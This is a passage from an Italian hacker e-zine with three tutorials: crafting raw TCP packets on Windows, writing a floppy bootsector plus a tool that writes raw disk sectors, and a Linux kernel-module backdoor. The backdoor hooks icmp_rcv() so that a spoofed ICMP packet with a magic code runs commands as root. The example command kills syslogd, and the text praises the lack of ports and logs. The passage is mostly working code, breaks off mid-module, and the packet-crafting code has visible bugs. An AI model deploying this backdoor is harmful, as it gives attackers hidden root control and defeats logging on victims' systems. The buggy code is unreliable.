“Project”, la voce “Settings”. Nella tabella “link”, aggiungiamo, all’elenco “Object/library modules” il file “ws2_32.lib”. A questo punto il codice completo dovrebbe essere una cosa di questo tipo: #include "stdafx.h" #include "winsock.h" int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { return 0; } Purtroppo per voi, arrivati a questo punto, dobbiamo bruscamente troncare quello che stavamo facendo (ovvero nulla fino ad ora :) perché dobbiamo incominciare a capire come funziona il protocollo TCP/IP. Ovviamente do per scontato che voi conosciate già che cosa sia un socket e le sue funzioni, almeno in linea generale. Siccome questa volta il socket è RAW, ci tocca sapere qualche informazione più approfondita riguardo ai pacchetti da inviare. La prima cosa da analizzare è il formato dell’header IP. La sua struttura somiglia, grossomodo ad una cosa del genere: Version Ihl Tos (8) Total length (16) (4) (4) Identification (16) Flags Fragment offset (13) (3) Time to live (8) Protocol Checksum (16) (8) Source address (32) Destination address (32) Options nothing Ecco… diciamo che più o meno gli somiglia ^^’. I numeri indicati tra parentesi rappresentano i bit utilizzati per quel settore. Potete notare quindi che questa struttura è formata da 14 campi che adesso analizzeremo uno per uno. Version (4 bit): Questo parametro specifica la versione del protocollo IP che si sta utilizzando. Ihl (4 bit): Acronimo di “Internet Header Length”. Questo campo contiene la lunghezza dell’internet header. Il suo valore minimo è 5. Tos (8 bit): Acronimo di “Type of Service”. Questo campo serve per indicare ai routers in che modo devono essere gestiti i pacchetti. Total length(16 bit): Questo campo contiene la dimensione dei dati inviati (compresi gli header stessi). Identification(16 bit): Questo campo è utilizzato per dare una mano a tracciare i pacchetti frammentati. Flags (3 bit): I flag sono utilizzati insieme all’indirizzo IP per controllare la frammentazione. Questi flag sono 4: NO FLAG (0x00) – Non specifica alcuna opzione nella frammentazione; MORE FRAGMENT (0x01) – Significa che ci sono più frammenti da ricevere; DONT FRAGMNENT (0x02) – Non avviene la frammentazione; MORE & DONT (0x03) – Ci sono più pacchetti da ricevere senza frammentazione; Fragment offset (13 bit): Questo campo serve per posizionare i vari pacchetti al giusto posto durante l’operazione di riassemblaggio. Time to live (8 bit): Il Time to Live (TTL) serve per distruggere i pacchetti che per qualche motivo non possono trovare la loro destinazione. Protocol (8 bit): Questo campo identifica il protocollo con cui si sta lavorando. Le costanti fondamentali sono: IPPROTO_TCP = Per il protocollo TCP; IPPROTO_UDP = Per il protocollo UDP; IPPROTO_ICMP = Per il protocollo ICMP; Checksum (16 bit): Il checksum rappresenta la dimensione complessiva dell’internet header. Questo campo viene utilizzato per verificare l’integrità dei dati una volta che sono arrivati a destinazione. Questa verifica si fa comparando il checksum dei pacchetti di partenza con il checksum dei pacchetti di arrivo. Source Address (32 bit): Questo campo contiene l’indirizzo IP del computer mittente. Destination Address(32 bit): Questo campo invece contiene l’indirizzo IP del computer che riceverà i dati. Options: Nella maggior parte dei casi, questo parametro è trascurato. Siccome questo tutorial è principalmente sui socket e non sui protocolli, evito di dare la spiegazione (abbastanza lunga) dettagliata di questo parametro. In linea generale non è difficile intuire che si tratta delle opzioni di trasmissione dei pacchetti. Nothing: Questo parametro fa schifo: serve per riempire la struttura dell’header nel caso ci fossero dei bytes in meno di quelli complessivi. Questo campo solitamente viene riempito di zeri e serve appunto per rispettare le dimensioni dell’header. Ora che conosciamo questa struttura, passiamo ad analizzare gli altri elementi necessari a programmare ‘sti benedetti socket. Vediamo… vediamo… beh: abbiamo analizzato la struttura dell’header IP… ci manca quella dell’header TCP. Porta di partenza (16) Porta di destinazione (16) Sequence Number (32) Acknowledgment Number (32) D-Offset Reserved Ctrl Bits Window (16) (4) (6) (6) Checksum (16) Urgent pointer (16) Options Nothing Data Questa volta gli elementi da prendere in considerazione sono 12. Porta di partenza: Beh… è la porta di partenza… Porta di destinazione: …mentre questa è quella di destinazione. Sequence Number: Il sequence number serve per assicurare che i pacchetti ricevuti dal server siano veramente arrivati da dove essi dicono di arrivare :-). Questo serve per impedire a qualche malintenzionato di attaccare da parte di qualcuno che alla fine non ne sa nulla :-). Acknowledgment number: Questo numero assicura che i lati della connessione siano autentici. D-Offset: Ad essere completamente sincero non so bene che cosa sia questo parametro… so che di default deve essere impostato a 5… we a me i programmi funzionano ^^’ Reserved: Cazz… questo è difficile… Ctrl bits: Questo è un campo importante. E’ qua che si settano i flag della connessione. I tipi di flag sono 6: ACK: Acknowledgment dei dati URG: Invio di dati con urgenza PSH: Push data to destination RST: Resetta la connessione SYN: Il flag di sincronizzazione FIN: Indica la fine dei dati inviati dal mittente Window: Specifica la dimensione massima di un pacchetto che puoi accettare. Se il pacchetto dovesse superare tale dimensione, dovrà essere frammentato. Checksum: Beh… è la stessa cosa del checksum spiegato nell’header IP… con la differenza che questa volta sarà applicato all’header TCP. Urgent pointer: Questo parametro deve essere settato solo quanto viene inviato un URG flag. Options: Molto simili alle opzioni dell’IP header. Padding: Stessa identica cosa del padding dell’IP header. Abbiamo finito di vedere le strutture principali. Ma ora passiamo alla parte interessante. Poniamoci il problema subito: se noi dovessimo costruire un pacchetto in C… con quale arma ci spareremo? Beh… io preferirei una calibro 12… vabè… pistole a parte… iniziamo subito a costruire un pacchetto IP. Per farlo ovviamente dobbiamo riempire la struttura IP… ma noi questa struttura non è che la teniamo… quindi mi sa che ci conviene prima creare la suddetta struttura, tanto, le dimensioni le avete, i nomi li avete… che cosa diavolo volete di piu? struct ip_header { unsigned char version_ihl; unsigned char tos; unsigned short length; unsigned short identification; unsigned short flags_fragment_offset; unsigned char timetolive; unsigned char protocol; unsigned short checksum; unsigned int source_address; unsigned int destination_address; } ip_header; In poche parole, questa struttura contiene tutti i campi della struttura dell’IP header disegnata precedentemente in tabella. Nel codice alla fine riempiremo tutti questi campi come si deve per creare un pacchetto completo. Ora facciamo la stessa cosa dell’header TCP. struct tcp_header { unsigned short porta_di_partenza; unsigned short porta_di_destinazione; unsigned int sequence_number; unsigned int acknowledgment_number; unsigned char data_offset; unsigned char flags; unsigned short window; unsigned short checksum; unsigned short urgent_pointer; } tcp_header; Superato anche questo passaggio, vediamo la struttura pseudo_header: struct ps_header { unsigned int source_address; unsigned int destination_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcp_header tcp; } ps_header; Ovviamente questa volta non abbiamo bisogno di commentare gli elementi di questa struttura perché li conosciamo già tutti. Mooooooolto bene. Abbiamo le strutture fondamentali. Ora che abbiamo queste però manca ancora qualcosa. Vediamo di passare un po’ di più al pratico… proviamo… chessò… a mandare un flag ACK usando i socket raw. Per fare questo ci serve innanzitutto sapere come si calcola il checksum (non mi soffermo molto su queste cose in quanto trovate moltissimi esempi su internet). La funzione per calcolare il checksum è di questo tipo: unsigned short calc_checksum(unsigned short *buffer, int size) { unsigned long checksum = 0; while(size > 1) { checksum += *buffer++; size -= sizeof(unsigned short); } if(size) { checksum += *(unsigned char *) buffer; } checksum = (checksum >> 16) + (checksum & 0xFFFF); checksum += (checksum >> 16); return (unsigned short)(~checksum); } Ora che sapete come calcolare il checksum, andiamo a vedere il nostro codice: /******************************************** * Includes * ********************************************/ #include "stdafx.h" #include "winsock2.h" #include "ws2tcpip.h" /******************************************** * Global declarations * ********************************************/ struct ip_header { unsigned char ip_ihl:4, ip_v:4; unsigned char tos; unsigned short length; unsigned short identification; unsigned short flags_fragment_offset; unsigned char timetolive; unsigned char protocol; unsigned short checksum; unsigned int source_address; unsigned int destination_address; } ip_header; struct tcp_header { unsigned short porta_di_partenza; unsigned short porta_di_destinazione; unsigned int sequence_number; unsigned int acknowledgment_number; unsigned char data_offset; unsigned char flags; unsigned short window; unsigned short checksum; unsigned short urgent_pointer; } tcp_header; struct ps_header { unsigned int source_address; unsigned int destination_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcp_header tcp; } ps_header; /************************************************** * Global procedures * **************************************************/ unsigned short calc_checksum(unsigned short *buffer, int size); /**************************************************/ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsa; SOCKET s; struct sockaddr_in sin; hostent *host; char space1[4096]; WSAStartup(MAKEWORD(2, 0), &wsa); s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); memset(space1, 0, 4096); struct ip_header *ip_h = (struct ip_header *) space1; struct tcp_header *tcp_h = (struct tcp_header *) space1 + sizeof(struct ip_header); ip_h->ip_ihl = 5; ip_h->ip_v = 4; ip_h->tos = 0; ip_h->length = sizeof(struct ip_header) + sizeof(struct tcp_header); ip_h->identification = 1; ip_h->flags_fragment_offset = 0; ip_h->timetolive = 255; ip_h->protocol = 6; ip_h->checksum = 0; ip_h->source_address = inet_addr("127.0.0.1"); ip_h->destination_address = sin.sin_addr.s_addr; tcp_h->porta_di_partenza = htons(1234); tcp_h->porta_di_destinazione = sin.sin_port; tcp_h->sequence_number = 5; tcp_h->acknowledgment_number = 0; tcp_h->data_offset = 0; tcp_h->flags = 0; tcp_h->window = htons(65535); tcp_h->checksum = 0; tcp_h->urgent_pointer = 0; struct ps_header ps; memset(&ps, 0, sizeof(struct ps_header)); ps.source_address = inet_addr("127.0.0.1"); ps.destination_address = sin.sin_addr.s_addr; ps.placeholder = 0; ps.protocol = IPPROTO_TCP; ps.tcp_length = htons(sizeof(struct tcp_header)); tcp_h->checksum = calc_checksum((unsigned short *) &ps, sizeof(ps)); ip_h->checksum = calc_checksum((unsigned short *) &ip_h, sizeof(ip_h)); bool opt = TRUE; setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *) &opt, sizeof(opt)); sendto(s, space1, 4096, 0, (SOCKADDR *) &sin, sizeof(sin)); return 0; } unsigned short calc_checksum(USHORT *buffer, int size) { unsigned long checksum = 0; while(size > 1) { checksum += *buffer++; size -= sizeof(unsigned short); } if(size) { checksum += *(unsigned char *) buffer; } checksum = (checksum >> 16) + (checksum & 0xFFFF); checksum += (checksum >> 16); return (unsigned short)(~checksum); } /*****************************************************************************/ Ovviamente capirete che questo tutorial è molto limitato in quanto vi mostra un esempio di invio di un flag ACK. Per poter fare altre operazioni, come un ping ad es, avrete bisogno di altre strutture… io purtroppo non posso spiegare tutto in un unico tutorial altrimenti oltre che a non far capire niente a voi finisco per non capirci più niente nemmeno io! -.- Comunque in giro su internet potete trovare moltissimi files.h perfettamente riempiti con tutte le strutture e tutti i manuali di cui avete bisogno anche se, diversamente dal mio tutorial, il loro scopo sarà quello di mostrarvi molto più codice, dando per scontata la vostra conoscenza delle strutture da me descritte. Spero di esser stato chiaro. Alla prossima! [ active85k ] – La morte vi attende! +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Scrivere un bootsector | |-- C0d3r | | _________________________________________________________| |____________________/ 1. Introduzione 2. Conoscenze di base hard disk/BIOS 3. Creare un settore di avvio 4. Creare un programma per scrivere un settore d'avvio 5. Altro 1. Introduzione Prima di leggere tutto questo dovete avere una conoscenza di base dell'assembler. Useremo due programmi per realizzare il nostro settore di boot: NASM e TASM. Perchè uso due diversi programmi? Ho sempre usato NASM per creare programmi semplici perchè è efficiente nel creare copie di memoria. Ho sempre usato TASM per creare programmi un po' più complessi. Alla fine comunque arriva la risposta "Perchè no??" Ad ogni modo non dovrebbe essere affatto difficile fare i programmi TASM in NASM (o viceversa), cambia solo qualcosina qua e la. Se molte persone si lamenteranno riscriverò il codice per il NASM/TASM. 2. Conoscenze di base hard disk/BIOS Non appena premete l'interruttore dell'alimentazione del computer la CPU comincia ad eseguire il codice posto alla locazione F000:FFF0. Quest'area di memoria contiene il BIOS (Basic Input/Output System). Questo codice è scritto in assmbler ed è memorizzato in dei chip chiamati EPROM all'interno del vostro computer. Questo programma esegue delle operazioni note come POST, Power On Self Test. Controlla le periferiche installate e ne verifica il funzionamento. In particolare verifica la presenza della scheda video ed esegue il BIOS video che di solito si trova alla locazione C000h. Poi controlla se ci sono altre ROM per vedere se hanno installati altri BIOS. Dopo ciò trova ed esegue il BIOS per l'hard disk, che si trova in C8000h. Poi comincia una sorta di "inventario di sistema" nel quale controlla tutte le altre periferiche installate e ne verifica il corretto funzionamento. Compie anche altre operazioni che sono fondamentalmente inutili per noi in questo momento, fino a che, finalmente, passa il controllo al sistema operativo. Questa è la parte che ci interessa. Ai vecchi tempi, solo un sistema operativo era installato su un computer. Se compravi un certo tipo di macchina, potevi solo usare il sistema operativo creato per quella macchina. Nient'altro. Ovviamente questo non era una bella cosa, poichè per utilizzare un diverso sistema operativo dovevi comprare un'altro computer. Quindi i produttori di BIOS crearono il settore di boot. Nel caso che ancora non lo sapeste, un settore è la più piccola parte di disco a cui l'hard disk può accedere. Secondo gli standard ATA un settore è esattamente 512 byte. Ad ogni modo gli standard ATA riguardano solo gli hard disk, i floppy ad esempio possono essere diversi. Sapendo questo, possiamo andare a parlare del settore di boot. 3. Creare un settore di avvio Quando il BIOS ha completato con successo la fase di POST, chiama l'interrupt 19h. Potete vedere questo facendo un dump della memoria alla locazione F000:FFF0. Per esempio, sulla mia macchina usando debug del DOS ho avuto questi risultati: -d f000:fff0 F000:FFF0 CD 19 E0 00 F0 31 31 2F-32 36 2F 39 39 00 FC 81 .....11/26/99... Come dovreste sapere, CD = INT. L'int 19h tenta di leggere nel settore d'avvio del primo floppy disk. Se fallisce, fa la stessa cosa sul primo disco fisso. Se anche questo fallisce, visualizza un messaggio di errore. Un settore d'avvio valido deve avere i suoi ultimi due byte settati a AA55h. Se ha trovato un settore di boot valido, il codice viene caricato in memoria alla locazione 0000:7C00 e l'interrupt 19h salta a questa locazione e comincia ad eseguire il codice. Siccome un settore di boot deve essere contenuto in un settore (512 byte) non può fare molto, di solito ricerca un altro file su un'altro settore e poi lo esegue. Il nostro settore di avvio non farà questo. Per adesso è già abbastanza fargli visualizzare un messaggio a video ed eseguire un riavvio della macchina se premete un tasto. Poichè il DOS non è ancora stato caricato, useremo gli interrupt del BIOS per fare tutto questo. Per prima cosa usiamo le istruzioni MOV AX,0x0003 INT 0x10 per entrare in modalità video. I registri devono essere settati così: AH numero della funzione (00h, video) AL modalità video (03, 80x25x16) poi stampiamo il messaggio, usando: MOV AX,0x1301 MOV BX,0x0007 MOV CX,0x23 MOV BP,MSG ADD BP,0x7C00 INT 0x10 AH numero della funzione (13h: stampa stringa di testo) AL modalità scrittura (01h: la stringa è di soli caratteri, attributi in BL, cursore spostato) BH numero di pagina video (00h) BL attributi dei caratteri (07h) CX lunghezza della stringa, escluso ogni attributo (23h = 35 caratteri) BP ES:BP deve puntare alla stringa, poichè un settore di boot inizia a 07C00, aggiungiamo questo a BP dopo averlo caricato. Puoi anche settare la posizione in memoria del programma a 07C00 o cambiare il registro data segment in modo che punti alla locazione 07C00 ma siccome è una sola istruzione, per ora va bene così. Adesso aspettiamo la pressione di un tasto: MOV AH,0x00 INT 0x16 Registri: AH - 00, Legge il buffer di tastiera, attende che sia pieno se non lo è già. Il buffer sarà vuoto poichè il computer non ha avuto il il tempo per metterci niente. Infine riavviamo il computer saltando semplicemente a 0000:FFFF: DB 0xEA DW 0x0000 DW 0xFFFF Questo sembra complicato ma in realtà è abbastanza semplice. Quando si dichiarano "variabili" in assembly, l'assembler mette semplicemente il valore in una locazione di memoria. Di solito si usano interrupt o qualcosa che punti a tale locazione per usarle e manipolarle, ma possiamo anche inserire del codice nella locazione. Questo è quello che stiamo facendo qui. Se verificate su una tabella che traduca da esadecimanele a mnemonici noterete che EA è un far jump. Quindi abbiamo messo quest'istruzione in memoria, seguita dalla locazione alla quale vogliamo saltare. Poi riempiamo la memoria rimanente con il valore NULL: TIMES 510-($-$$) DB 0 Questo può anche essere fatto in TASM con qualcosa tipo TIMES 510 DUP (0). Infine dobbiamo aggiungere questi due bytes alla fine in modo che il BIOS sappia che questo è un settore di avvio valido. Questo è fatto con una semplice istruzione: SIGNATURE DW 0xAA55 Questo è il codice completo di tutto quello su cui abbiamo appena discusso: START: MOV AX,0x0003 INT 0x10 PRINT_STRING: MOV AX,0x1301 MOV BX,0x0007 MOV CX,0x23 MOV BP,MSG ADD BP,0x7C00 INT 0x10 WAIT_FOR_KEY_PRESS: MOV AH,0x00 INT 0x16 REBOOT: DB 0xEA DW 0x0000 DW 0xFFFF MSG DB 'pR3sS 4nY k3y 2 k0n71nu3',13,10,'btw, ph33r',0 TIMES 510-($-$$) DB 0 SIGNATURE DW 0xAA55 Compilate con il comando "nasm nomedelfile.asm". Otterrete un file chiamato "nomedelfile", senza estensione. E' un'immagine del codice in formato binario puro. Prendete un floppy e digitate "debug nomdelfile". Al prompt digitate: w 100 0 0 1. Dovreste sapere cosa fa questo comando dal mio tutorial sull'assembler, se non lo sapete scrive quello che c'è in memoria alla locazione 100 sul disco 0 (A:\) cominciando dal settore 0 fino al settore 1. Adesso provate a fare un avvio usando questo disco. Dovreste vedere il messaggio: pR3sS 4nY k3y 2 k0n71nu3 btw, ph33r E se premete un tasto, il buffer di tastiera si riempie, di modo che l'interrupt 16h termina e ci spostiamo alla procedura di riavvio. Ovviamente questo era solo un semplice esempio, invece di stampare una stringa, aspettare la pressione di un tasto e riavviare, potreste aver inserito qualsiasi cosa, a patto che non usiate gli interrupt DOS. Una bella cosa potrebbe essere attivare la modalità protetta o fare un po' di grafica che viaggia più veloce rispetto al DOS o a Windows per il fatto che non c'è niente in memoria ad eccezione di quello che ci mettete voi. 4. Creare un programma per scrivere un settore d'avvio. Se avete provato ad accedere al disco con il vostro settore di boot, avrete notato che non potete. Almeno non dal DOS. Questo è dovuto al fatto che il DOS usa alcuni byte di memoria per i dati che ha bisogno di conoscere per determinare che tipo di disco sta leggendo. Il nostro programma usa quei byte per il codice. Ora potete vedere queste aree di memoria e dichiararle all'inizio del vostro programma, ma invece creeremo solo un programma che scriverà ogni tipo di file direttamente sul settore di avvio del disco, senza considerare di che tipo sia. Questo suona più difficile di quanto in realtà non sia. Infatti il programma risultante sarà di soli 73 byte. Prima di tutto dobbiamo aprire il file che vogliamo scrivere sul settore di boot usando le istruzioni: READFILE: MOV AX,3D00h MOV DX,OFFSET FILENAME INT 21h AH = 3Dh, Apertura file AL = 00, Apre il file in sola lettura DX = Punta al nome del file. Deve essere una stringa ASCII che vuol dire terminata da un carattere NULL (0). Questo ritornerà l'handle del file in AX. Se si è verificato un errore, sarà settato il flag di carry (riporto) e il codice di errore verrà memorizzato in AH. In tal caso: JC ERROR Altrimenti si procede con la lettura del file: MOV BX,AX MOV AH,3Fh MOV CX,0200h MOV DX,OFFSET SHIT INT 21h Prima spostiamo l'handle del file da AX in BX, poi settiamo gli altri registri come segue: AH = 3Fh, Lettura file CX = 200h, Quantità di dati da leggere. Poichè un settore di boot sarà sempre 512 bytes, leggiamo 200h bytes (512d). DX = Punta all'area di memoria che contiene il file. Di nuovo se si verifica un errore, sarà settato il flag di carry e poi avremo: JC ERROR Adesso entriamo nella parte di scrittura vera e propria. Prima resettiamio il controller del disco floppy con: WRITE_SECTOR: MOV AH,0h MOV DL,0 INT 13h Poi scriviamo i dati: MOV AX,0301h MOV CX,1 MOV DX,0 MOV BX,OFFSET SHIT INT 13h Questo è uno degli interrupt più complicati, e dovete conoscere come sono fatti gli hard disk. AH = 03h, Scrivi settore AL = 1, Numero dei settori da scrivere sulla stessa traccia e testina CH = 0, Numero di tracce da scrivere CL = 1, Numero del settore da cui cominciare a scrivere DH = 0, Numero di testina da scrivere DL = 0, Numero del drive su cui scrivere (0 = A, 1 = B, etc) BX = Buffer da cui prendere i settori da scrivere Nuovamente, se è avvenuto un errore, sarà settato il flag di carry, ma mi piace mantenere le cose interessanti ed ho usato un metodo diverso per controllare se ci sono errori. Il codice di errore è memorizzato in AH quindi se AH è 0 non ci sono errori. Allora per controllare posso fare un semplice XOR AH,AH e un jump if not zero. XOR AH,AH JNZ ERROR Altrimenti, abbiamo finito e possiamo terminare il programma: INT 20h Il programma finito è questo: MAIN SEGMENT ;la solita impostazione che uso per i .com ASSUME CS:MAIN,DS:MAIN,ES:MAIN,SS:MAIN ORG 100h START: READFILE: ;legge il file come spiegato sopra MOV AX,3D00h MOV DX,OFFSET FILENAME INT 21h JC ERROR MOV BX,AX MOV AH,3Fh MOV CX,0200h MOV DX,OFFSET SHIT INT 21h JC ERROR WRITE_SECTOR: ;scrive i settori come spiegato sopra MOV AH,0h MOV DL,0 INT 13h MOV AH,03h MOV AL,1 MOV CX,1 MOV DX,0 MOV BX,OFFSET SHIT INT 13h XOR AH,AH JNZ ERROR INT 20h ERROR: MOV AH,09h ;visualizza il messaggio d'errore MOV DX, OFFSET SHIT1 INT 21h INT 20h SHITDB ? ;array non inizializzato per ;contenere il file SHIT1 DB 'Error$' ;messaggio d'errore FILENAME DB 'ph33r',0 ;il nome del file da scrivere MAIN ENDS END START Questo programma è molto basilare. Ci sono molti aspetti che potete migliorare. Ad esempio: 1. Permettete all'utente di inserire il file da tastiera. Per fare questo, create FILENAME come un array di 12 byte non inizializzati (i nomi di file DOS non possono essere più lunghi). Poi caricate l'array in SI e chiamate l'interrupt 16h, funzione 0h. Fate un ciclo finchè non viene battuto invio, memorizzate il valore in SI, incrementando SI ogni volta. 2. Aggiungete più messaggi d'errore, magari anche qualcosa che controlli il codice di errore e risponda con un messaggio appropriato. 3. Questo programma non aspetta che si avvii il motore del disco, quindi fate un ciclo che controlli per 3 volte se il drive è pronto. Se tutti e 3 i controlli falliscono visualizzate un messaggio di errore dicendo che il disco non è nel drive o qualcosa del genere. Il codice di errore è ritornato in AH quindi potete fare una semplice verifica e visualizzare il corrispondente messaggio. 4. Visualizzate un messaggio (C) Microsoft 5. Altro Se distruggete il vostro computer come risultato di questo tutorial non è colpa mia. Tutto il codice è stato testato e funziona alla grande, ma non mi posso ritenere responsabile per qualsiasi cosa possa accadervi come conseguenza dell'utilizzo di queste informazioni. Potete liberamente distribuire questo testo purchè non lo modifichiate in alcun modo. Se c'è qualcosa che pensate vada cambiato contattatemi prima. +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Pseudo rootshell with icmp_rcv() hooking | |-- Evil | | _________________________________________________________| |____________________/ Autore: Evil Titolo: Pseudo rootshell with icmp_rcv() hooking Http: www.eviltime.com Email: webmaster@eviltime.com ---Sommario--------------------------------------------------------------------- (Introduzione) (Come funziona) (Costruiamo il client) (Costruiamo il filtro interno) (Nascondere il lavoro) (Conclusione) ---Introduzione----------------------------------------------------------------- Ammettendo che il titolo di questo tutorial non trasmette nulla di significante quello che seguirà dopo questo primo pezzo di introduzione, è un idea nata inizialmente per bisogno personale e trasformatasi in idea pubblica, per cercare, trasmettendola ai meno esperti, di introdurli al kernel hacking, e trasmettendola agli altri per cercare sostegno, critiche ed idee dagli stessi. ---Come funziona---------------------------------------------------------------- il programma di mia invenzione crea una comunicazione tra l'utente e la macchina remota, senza bisogno di aprire nessuna porta, creando un dialogo di tipo +------------+ +------------+ +------------+ | Client | --> | Filtro | --> | Interprete | +------------+ +------------+ +------------+ Spieghiamo meglio, il filtro non fa altro che andare ad hookare la syscall icmp_rcv(), cambiandone il comportamento nella ricezione di pacchetti ICMP, aggiungendo una specie di filtro, che all'arrivo del pacchetto, controlla il codice code_no del pacchetto stesso, lo confronta con dei codici MAGIC CODE da noi prestabiliti, e a seconda del code ricevuto nel pacchetto, chiama l'interprete residente in user space, via execve(), usando l'environment associato al magic code, a quel punto l'interprete provvederà ad eseguire l'azione richiesta.. Il client in questo caso non fa nulla di difficile o importante, il suo compito è quello di mandare il pacchetto con il code_no selezionabile da prompt, insomma automatizza e semplifica quello che si potrebbe fare anche con un programma come hping.. Purtroppo al di là dei suoi Pro, come il non tenere porte aperte, non loggare le connessioni, e quindi mantenere il tutto perfettamente anonimo, ha un suo Contro, che è quello di limitare i comandi alle potenzialità dell'interprete, avremo quindi i privilegi di root, ma non una bind shell nostra. Ci si può comunque consolare per il fatto dell'assoluta anonimità, anche via sniffer il nostro vero IP non verrebbe loggato, grazie all'invio dell'icmp via raw socket, e quindi con la possibilità di spoofare l'indirizzo IP del mittente ---Costruiamo il client--------------------------------------------------------- Come detto prima, per creare il client basterà, programmare un icmp sender con l'uso delle raw socket, e far assumere da linea di comando il destinatario, e il code_no del pachetto.. /* client part * * this is the client part of this program *based on spoofping * it sends a personalized icmp packet to the remote system * you can select the code_no and the relative action by * the -c environment * usage: ./client -h * * view the README for more information or visit www.eviltime.com * coded by Evil * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define VERSION "0.1" extern char *optarg; extern int optind, opterr, optopt; struct ping_struct { struct sockaddr_in sin; /* socket prot structure */ int s; /* socket */ int psize; /* packet size */ int num; /* number of packets to send */ }; struct icmp_pkt { struct iphdr ip; struct icmphdr icmp; char *packet; }; void usage(char *program); int sendping(void);int create_socket(char *s_ipaddr); int create_packet(char *d_ipaddr); int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr); int getopt(int argc, char * const argv[], const char *optstring); int getopt_long(int argc, char * const argv[],const char *optstring,const struct option *longopts, int *longindex); int getopt_long_only(int argc, char * const argv[], const char *optstring,const struct option *longopts, int *longindex); int on=1; int icode_no; struct sockaddr_in sock_in; struct ping_struct ping; int main(int argc, char *argv[]) { int response; //response value int i,k; //counter int x,y; char *s_ipaddr; //source ip address char *d_ipaddr; //destination ip address char c; // verify Argument if (argc < 2) { usage(argv[0]); exit(-1); } // getting Argument d_ipaddr = argv[1]; ping.num = 1; ping.psize= 64; optind = 3; while ((c = getopt(argc, argv, "hlc:s:")) != -1) { switch(c) { case 's': s_ipaddr=optarg; break; case 'c': icode_no=optarg; break; case 'l': printf("code_no: 20\tkill syslogd /(useful: before your connection/)\n"); break; case 'h': usage(argv[0]); break; } } printf("creating socket ... "); // create socket if ((ping.s=create_socket(s_ipaddr)) < 0) { perror("socket"); exit(-1); } printf("/(done/)\n"); printf("creating and sending packet ... "); //create packet and sent it printf("\n"); for (i = 1; i <= ping.num; i ++) { if ((response=create_packet(d_ipaddr)) != 1) { perror("create_packet() "); } fflush(stdout); x= (i * 100) / ping.num ; usleep(500000); } printf("/(done/)\n"); } void usage(char *program) { printf(" * client usage: %s -s \n", program); exit(-1); } int create_socket(char *s_ipaddr) { int val_sock; // setting socket family ping.sin.sin_family = AF_INET; // socket port (0) ping.sin.sin_port = htons(0); // spoofing ip =) ping.sin.sin_addr.s_addr = inet_addr(s_ipaddr); // creating socket if ((val_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { perror("socket() "); exit(-1); } // setting socket option if (setsockopt(val_sock, IPPROTO_IP, IP_HDRINCL, (char *)&on,on) == -1) { perror("setsockopt() "); exit(-1); } // return socket id return(val_sock); } int create_packet(char *d_ipaddr) { struct icmp_pkt icmppkt; int i; int pktsize; int hdrsize = (sizeof(icmppkt.ip) + sizeof(icmppkt.icmp)); int rtrn=1; // setting packet size if ((hdrsize) > ping.psize) { printf("header: %i\n",hdrsize); printf("size : %i\n",ping.psize); printf("spoofping() :packet too small\n"); exit(-1); } pktsize = (ping.psize - hdrsize) + 20; icmppkt.packet = malloc(pktsize); /* send it on its way */ send_packet(&icmppkt,&ping,d_ipaddr); free(icmppkt.packet); return(rtrn); } int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr ) { int len=strlen(icmppkt->packet); int pkt_number; int pktsize; int hdrsize = (sizeof(icmppkt->ip) + sizeof(icmppkt->icmp)); struct icmp_pkt *tmpicmp; /* fill in IP header */ icmppkt->ip.version = 4; icmppkt->ip.ihl = 5; icmppkt->ip.tos = 0; icmppkt->ip.tot_len = htons(ping->psize); icmppkt->ip.id = htons(getpid()); icmppkt->ip.frag_off = 0; icmppkt->ip.ttl = 255; icmppkt->ip.protocol = IPPROTO_ICMP; icmppkt->ip.check = 0; icmppkt->ip.saddr = ping->sin.sin_addr.s_addr; icmppkt->ip.daddr = inet_addr(d_ipaddr); /* fill in ICMP header */ icmppkt->icmp.type = ICMP_ECHO; icmppkt->icmp.code = icode_no; icmppkt->icmp.checksum = htons(~(ICMP_ECHO << 8)); pktsize = (ping->psize - hdrsize) + 20; if (len <= 1480) { memset(icmppkt->packet,'A',pktsize); if (sendto(ping->s, icmppkt,(hdrsize + pktsize), 0, (struct sockaddr *)&ping->sin, sizeof(struct sockaddr)) == -1) { perror("sendto() "); exit(-1); } } else { pkt_number=(int) div(len , 1480).quot; fprintf(stderr,"fragmentation not supported\n"); exit(-1); } return(1); } ---Costruiamo il filtro interno------------------------------------------------- Quindi possiamo costruire il filtro interno, nel quale però in questo tutorial inserirò un solo caso, i casi multipli, dovranno essere inseriti da voi a seconda delle vostre esigenze.. /* filter part * * this is the filter part it checks for icmp sended by the client * * view the README for more information or visit www.eviltime.com * coded by Evil * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAGICCODE 20 extern void* sys_call_table[]; extern void inet_add_protocol(struct inet_protocol *prot); extern int inet_del_protocol(struct inet_protocol *prot); long (*do_sys_reboot)(int magic1, int magic2, unsigned int cmd, void * arg); int my_icmp_rcv(struct sk_buff *skb); struct inet_protocol *original_icmp_protocol; struct inet_protocol my_icmp_protocol = { &my_icmp_rcv, NULL, NULL, IPPROTO_ICMP, 0, // number of copies NULL, "ICMP" // name of the protocol }; int my_icmp_rcv(struct sk_buff *skb) { static char * argv_init[MAX_INIT_ARGS+2] = { "kill", NULL, }; char * envp_init[MAX_INIT_ENVS+2] = { "-9", "syslogd", NULL, }; unsigned short int code_no; long res; code_no = skb->h.icmph->code; if (code_no == MAGICCODE) { execve("/bin/kill", argv_init, envp_init); } return (original_icmp_protocol->handler) ( skb ); } int init_module(void) { 